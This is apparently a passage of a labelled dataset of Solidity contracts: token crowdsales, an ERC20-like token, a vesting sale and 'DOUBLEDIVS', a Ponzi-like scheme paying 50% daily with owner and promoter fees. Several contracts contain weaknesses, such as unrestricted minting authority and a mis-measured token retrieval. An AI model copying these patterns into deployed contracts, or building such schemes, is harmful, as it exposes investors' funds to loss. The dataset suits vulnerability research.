owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgnet) {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract CovestingToken is MintableToken {
string public constant name = "Covesting";
string public constant symbol = "COV";
uint32 public constant decimals = 18;
mapping (address => uint) public locked;
function transfer(address _to, uint256 _value) returns (bool) {
require(locked[msg.sender] < now);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(locked[_from] < now);
return super.transferFrom(_from, _to, _value);
}
function lock(address addr, uint periodInDays) {
require(locked[addr] < now && (msg.sender == saleAgent || msg.sender == addr));
locked[addr] = now + periodInDays * 1 days;
}
function () payable {
revert();
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Stage {
uint hardcap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public period;
uint public totalHardcap;
uint public totalInvested;
Stage[] public stages;
function stagesCount() public constant returns(uint) {
return stages.length;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function addStage(uint hardcap, uint price) public onlyOwner {
require(hardcap > 0 && price > 0);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
stages.push(stage);
totalHardcap = totalHardcap.add(stage.hardcap);
}
function removeStage(uint8 number) public onlyOwner {
require(number >=0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint hardcap, uint price) public onlyOwner {
require(number >= 0 &&number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
stage.hardcap = hardcap.mul(1 ether);
stage.price = price;
totalHardcap = totalHardcap.add(stage.hardcap);
}
function insertStage(uint8 numberAfter, uint hardcap, uint price) public onlyOwner {
require(numberAfter < stages.length);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
totalHardcap = totalHardcap.add(stage.hardcap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = stage;
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalHardcap = 0;
}
function lastSaleDate() public constant returns(uint) {
return start + period * 1 days;
}
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardcap() {
require(totalInvested <= totalHardcap);
_;
}
function currentStage() public saleIsOn isUnderHardcap constant returns(uint) {
for(uint i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
}
contract CommonSale is StagedCrowdsale {
address public multisigWallet;
uint public minPrice;
uint public totalTokensMinted;
CovestingToken public token;
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function setMultisigWallet(address newMultisigWallet) public onlyOwner {
multisigWallet = newMultisigWallet;
}
function setToken(address newToken) public onlyOwner {
token = CovestingToken(newToken);
}
function createTokens() public whenNotPaused payable {
require(msg.value >= minPrice);
uint stageIndex = currentStage();
multisigWallet.transfer(msg.value);
Stage storage stage = stages[stageIndex];
uint tokens = msg.value.mul(stage.price);
token.mint(this, tokens);
token.transfer(msg.sender, tokens);
totalTokensMinted = totalTokensMinted.add(tokens);
totalInvested = totalInvested.add(msg.value);
stage.invested = stage.invested.add(msg.value);
if(stage.invested >= stage.hardcap) {
stage.closed = now;
}
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
}
contract Presale is CommonSale {
Mainsale public mainsale;
function setMainsale(address newMainsale) public onlyOwner {
mainsale = Mainsale(newMainsale);
}
function setMultisigWallet(address newMultisigWallet) public onlyOwner {
multisigWallet = newMultisigWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
token.setSaleAgent(mainsale);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
}
contract Mainsale is CommonSale {
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public percentRate = 100;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint summaryFoundersTokens = mintedTokens.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + mintedTokens;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.lock(foundersTokensWallet, lockPeriod * 1 days);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
}
contract TestConfigurator is Ownable {
CovestingToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
token = new CovestingToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5,300);
presale.setMultisigWallet(0x055fa3f2DAc0b9Db661A4745965DDD65490d56A8);
presale.setStart(1507208400);
presale.setPeriod(2);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(1,200);
mainsale.addStage(2,100);
mainsale.setMultisigWallet(0x4d9014eF9C3CE5790A326775Bd9F609969d1BF4f);
mainsale.setFoundersTokensWallet(0x59b398bBED1CC6c82b337B3Bd0ad7e4dCB7d4de3);
mainsale.setBountyTokensWallet(0x555635F2ea026ab65d7B44526539E0aB3874Ab24);
mainsale.setStart(1507467600);
mainsale.setPeriod(2);
mainsale.setLockPeriod(1);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
}
contract Configurator is Ownable {
CovestingToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
token = new CovestingToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5000,300);
presale.setMultisigWallet(0x6245C05a6fc205d249d0775769cfE73CB596e57D);
presale.setStart(1508504400);
presale.setPeriod(30);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(5000,200);
mainsale.addStage(5000,180);
mainsale.addStage(10000,170);
mainsale.addStage(20000,160);
mainsale.addStage(20000,150);
mainsale.addStage(40000,130);
mainsale.setMultisigWallet(0x15A071B83396577cCbd86A979Af7d2aBa9e18970);
mainsale.setFoundersTokensWallet(0x25ED4f0D260D5e5218D95390036bc8815Ff38262);
mainsale.setBountyTokensWallet(0x717bfD30f039424B049D918F935DEdD069B66810);
mainsale.setStart(1511222400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
}
contract UpdateMainsale is CommonSale {
enum Currency { BTC, LTC, ZEC, DASH, WAVES, USD, EUR }
event ExternalSale(
Currency _currency,
bytes32 _txIdSha3,
address indexed _buyer,
uint256 _amountWei,
uint256 _tokensE18
);
event NotifierChanged(
address indexed _oldAddress,
address indexed _newAddress
);
address public notifier;
mapping(uint8 => mapping(bytes32 => uint256)) public externalTxs;
uint256 public totalExternalSales = 0;
modifier canNotify() {
require(msg.sender == owner || msg.sender == notifier);
_;
}
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public percentRate = 100;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint summaryFoundersTokens = mintedTokens.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + mintedTokens;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.lock(foundersTokensWallet, lockPeriod * 1 days);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
function setNotifier(address _notifier) public onlyOwner {
NotifierChanged(notifier, _notifier);
notifier = _notifier;
}
function externalSales(
uint8[] _currencies,
bytes32[] _txIdSha3,
address[] _buyers,
uint256[] _amountsWei,
uint256[] _tokensE18
) public whenNotPaused canNotify {
require(_currencies.length > 0);
require(_currencies.length == _txIdSha3.length);
require(_currencies.length == _buyers.length);
require(_currencies.length == _amountsWei.length);
require(_currencies.length == _tokensE18.length);
for (uint i = 0; i < _txIdSha3.length; i++) {
_externalSaleSha3(
Currency(_currencies[i]),
_txIdSha3[i],
_buyers[i],
_amountsWei[i],
_tokensE18[i]
);
}
}
function _externalSaleSha3(
Currency _currency,
bytes32 _txIdSha3,
address _buyer,
uint256 _amountWei,
uint256 _tokensE18
) internal {
require(_buyer > 0 && _amountWei > 0 && _tokensE18 > 0);
var txsByCur = externalTxs[uint8(_currency)];
require(txsByCur[_txIdSha3] == 0);
txsByCur[_txIdSha3] = _tokensE18;
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
token.mint(this, _tokensE18);
token.transfer(_buyer, _tokensE18);
totalTokensMinted = totalTokensMinted.add(_tokensE18);
totalExternalSales++;
totalInvested = totalInvested.add(_amountWei);
stage.invested = stage.invested.add(_amountWei);
if (stage.invested >= stage.hardcap) {
stage.closed = now;
}
ExternalSale(_currency, _txIdSha3, _buyer, _amountWei, _tokensE18);
}
function btcId() public constant returns (uint8) {
return uint8(Currency.BTC);
}
function ltcId() public constant returns (uint8) {
return uint8(Currency.LTC);
}
function zecId() public constant returns (uint8) {
return uint8(Currency.ZEC);
}
function dashId() public constant returns (uint8) {
return uint8(Currency.DASH);
}
function wavesId() public constant returns (uint8) {
return uint8(Currency.WAVES);
}
function usdId() public constant returns (uint8) {
return uint8(Currency.USD);
}
function eurId() public constant returns (uint8) {
return uint8(Currency.EUR);
}
function _tokensByTx(Currency _currency, string _txId) internal constant returns (uint256) {
return tokensByTx(uint8(_currency), _txId);
}
function tokensByTx(uint8 _currency, string _txId) public constant returns (uint256) {
return externalTxs[_currency][keccak256(_txId)];
}
function tokensByBtcTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.BTC, _txId);
}
function tokensByLtcTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.LTC, _txId);
}
function tokensByZecTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.ZEC, _txId);
}
function tokensByDashTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.DASH, _txId);
}
function tokensByWavesTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.WAVES, _txId);
}
function tokensByUsdTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.USD, _txId);
}
function tokensByEurTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.EUR, _txId);
}
}
contract UpdateConfigurator is Ownable {
CovestingToken public token;
UpdateMainsale public mainsale;
function deploy() public onlyOwner {
mainsale = new UpdateMainsale();
token = CovestingToken(0xE2FB6529EF566a080e6d23dE0bd351311087D567);
mainsale.setToken(token);
mainsale.addStage(5000,200);
mainsale.addStage(5000,180);
mainsale.addStage(10000,170);
mainsale.addStage(20000,160);
mainsale.addStage(20000,150);
mainsale.addStage(40000,130);
mainsale.setMultisigWallet(0x15A071B83396577cCbd86A979Af7d2aBa9e18970);
mainsale.setFoundersTokensWallet(0x25ED4f0D260D5e5218D95390036bc8815Ff38262);
mainsale.setBountyTokensWallet(0x717bfD30f039424B049D918F935DEdD069B66810);
mainsale.setStart(1511528400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
mainsale.setNotifier(owner);
mainsale.transferOwnership(owner);
}
}
contract IncreaseTokensOperator is Ownable {
using SafeMath for uint256;
mapping (address => bool) public authorized;
mapping (address => bool) public minted;
address[] public mintedList;
CovestingToken public token;
uint public increaseK = 10;
modifier onlyAuthorized() {
require(owner == msg.sender || authorized[msg.sender]);
_;
}
function extraMint(address tokenHolder) public onlyAuthorized {
uint value = token.balanceOf(tokenHolder);
uint targetValue = value.mul(increaseK);
uint diffValue = targetValue.sub(value);
token.mint(this, diffValue);
token.transfer(tokenHolder, diffValue);
minted[tokenHolder] = true;
mintedList.push(tokenHolder);
}
function extraMintArray(address[] tokenHolders) public onlyAuthorized {
for(uint i = 0; i < tokenHolders.length; i++) {
address tokenHolder = tokenHolders[i];
require(!minted[tokenHolder]);
uint value = token.balanceOf(tokenHolder);
uint targetValue = value.mul(increaseK);
uint diffValue = targetValue.sub(value);
token.mint(this, diffValue);
token.transfer(tokenHolder, diffValue);
minted[tokenHolder] = true;
mintedList.push(tokenHolder);
}
}
function setIncreaseK(uint newIncreaseK) public onlyOwner {
increaseK = newIncreaseK;
}
function setToken(address newToken) public onlyOwner {
token = CovestingToken(newToken);
}
function authorize(address to) public onlyAuthorized {
require(!authorized[to]);
authorized[to] = true;
}
function unauthorize(address to) public onlyAuthorized {
require(authorized[to]);
authorized[to] = false;
}
} | 1 | 3,386 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract EthereumUltimate {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public funds;
address public director;
bool public saleClosed;
bool public directorLock;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event Bury(address indexed _target, uint256 _value);
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function EthereumUltimate() public {
director = msg.sender;
name = "Ethereum Ultimate";
symbol = "ETHUT";
decimals = 18;
saleClosed = false;
directorLock = false;
funds = 0;
totalSupply = 0;
totalSupply += 1000000 * 10 ** uint256(decimals);
balances[director] = totalSupply;
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
epoch = 31536000;
retentionMax = 40 * 10 ** uint256(decimals);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
require(saleClosed);
require(msg.value == 10 ether);
directorLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy);
payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) {
epoch = epochSet;
return true;
}
function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) {
retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function closeSale() public onlyDirector returns (bool success) {
require(!saleClosed);
saleClosed = true;
return true;
}
function openSale() public onlyDirector returns (bool success) {
require(saleClosed);
saleClosed = false;
return true;
}
function bury() public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= claimAmount);
require(balances[msg.sender] <= retentionMax);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balances[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
require(buried[msg.sender]);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
require(balances[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
balances[msg.sender] -= claimAmount;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 30000;
require(totalSupply + amount <= (10000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balances[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
if (buried[_to]) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!buried[_from]);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,306 |
pragma solidity ^0.4.24;
contract DOUBLEDIVS{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 50;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,837 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SimpleTGE is Ownable {
using SafeMath for uint256;
uint256 public publicTGEStartBlockTimeStamp;
uint256 public publicTGEEndBlockTimeStamp;
address public fundsWallet;
uint256 public weiRaised;
uint256 public totalCapInWei;
uint256 public individualCapInWei;
uint256 public TRSOffset = 5 days;
mapping (address => bool) public whitelist;
address[] public contributors;
struct Contribution {
bool hasVested;
uint256 weiContributed;
}
mapping (address => Contribution) public contributions;
modifier whilePublicTGEIsActive() {
require(block.timestamp >= publicTGEStartBlockTimeStamp && block.timestamp <= publicTGEEndBlockTimeStamp);
_;
}
modifier isWhitelisted() {
require(whitelist[msg.sender]);
_;
}
function blacklistAddresses(address[] addrs) external onlyOwner returns(bool) {
require(addrs.length <= 100);
for (uint i = 0; i < addrs.length; i++) {
require(addrs[i] != address(0));
whitelist[addrs[i]] = false;
}
return true;
}
function whitelistAddresses(address[] addrs) external onlyOwner returns(bool) {
require(addrs.length <= 100);
for (uint i = 0; i < addrs.length; i++) {
require(addrs[i] != address(0));
whitelist[addrs[i]] = true;
}
return true;
}
function reclaimEther(address _beneficiary) external onlyOwner {
_beneficiary.transfer(this.balance);
}
function SimpleTGE (
address _fundsWallet,
uint256 _publicTGEStartBlockTimeStamp,
uint256 _publicTGEEndBlockTimeStamp,
uint256 _individualCapInWei,
uint256 _totalCapInWei
) public
{
require(_publicTGEStartBlockTimeStamp >= block.timestamp);
require(_publicTGEEndBlockTimeStamp > _publicTGEStartBlockTimeStamp);
require(_fundsWallet != address(0));
require(_individualCapInWei > 0);
require(_individualCapInWei <= _totalCapInWei);
require(_totalCapInWei > 0);
fundsWallet = _fundsWallet;
publicTGEStartBlockTimeStamp = _publicTGEStartBlockTimeStamp;
publicTGEEndBlockTimeStamp = _publicTGEEndBlockTimeStamp;
individualCapInWei = _individualCapInWei;
totalCapInWei = _totalCapInWei;
}
function changeIndividualCapInWei(uint256 _individualCapInWei) onlyOwner external returns(bool) {
require(_individualCapInWei > 0);
require(_individualCapInWei < totalCapInWei);
individualCapInWei = _individualCapInWei;
return true;
}
function contribute(bool _vestingDecision) internal {
require(msg.sender != address(0));
require(msg.value != 0);
require(weiRaised.add(msg.value) <= totalCapInWei);
require(contributions[msg.sender].weiContributed.add(msg.value) <= individualCapInWei);
if (contributions[msg.sender].weiContributed == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender].weiContributed = contributions[msg.sender].weiContributed.add(msg.value);
weiRaised = weiRaised.add(msg.value);
contributions[msg.sender].hasVested = _vestingDecision;
fundsWallet.transfer(msg.value);
}
function contributeAndVest() external whilePublicTGEIsActive isWhitelisted payable {
contribute(true);
}
function contributeWithoutVesting() public whilePublicTGEIsActive isWhitelisted payable {
contribute(false);
}
function () external payable {
contributeWithoutVesting();
}
function vest(bool _vestingDecision) external isWhitelisted returns(bool) {
bool existingDecision = contributions[msg.sender].hasVested;
require(existingDecision != _vestingDecision);
require(block.timestamp >= publicTGEStartBlockTimeStamp);
require(contributions[msg.sender].weiContributed > 0);
if (block.timestamp > publicTGEEndBlockTimeStamp) {
require(block.timestamp.sub(publicTGEEndBlockTimeStamp) <= TRSOffset);
}
contributions[msg.sender].hasVested = _vestingDecision;
return true;
}
} | 1 | 3,032 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract SphereTokenFactory{
function mint(address target, uint amount);
}
contract Haltable is Owned {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingMechanism is Haltable, SafeMath{
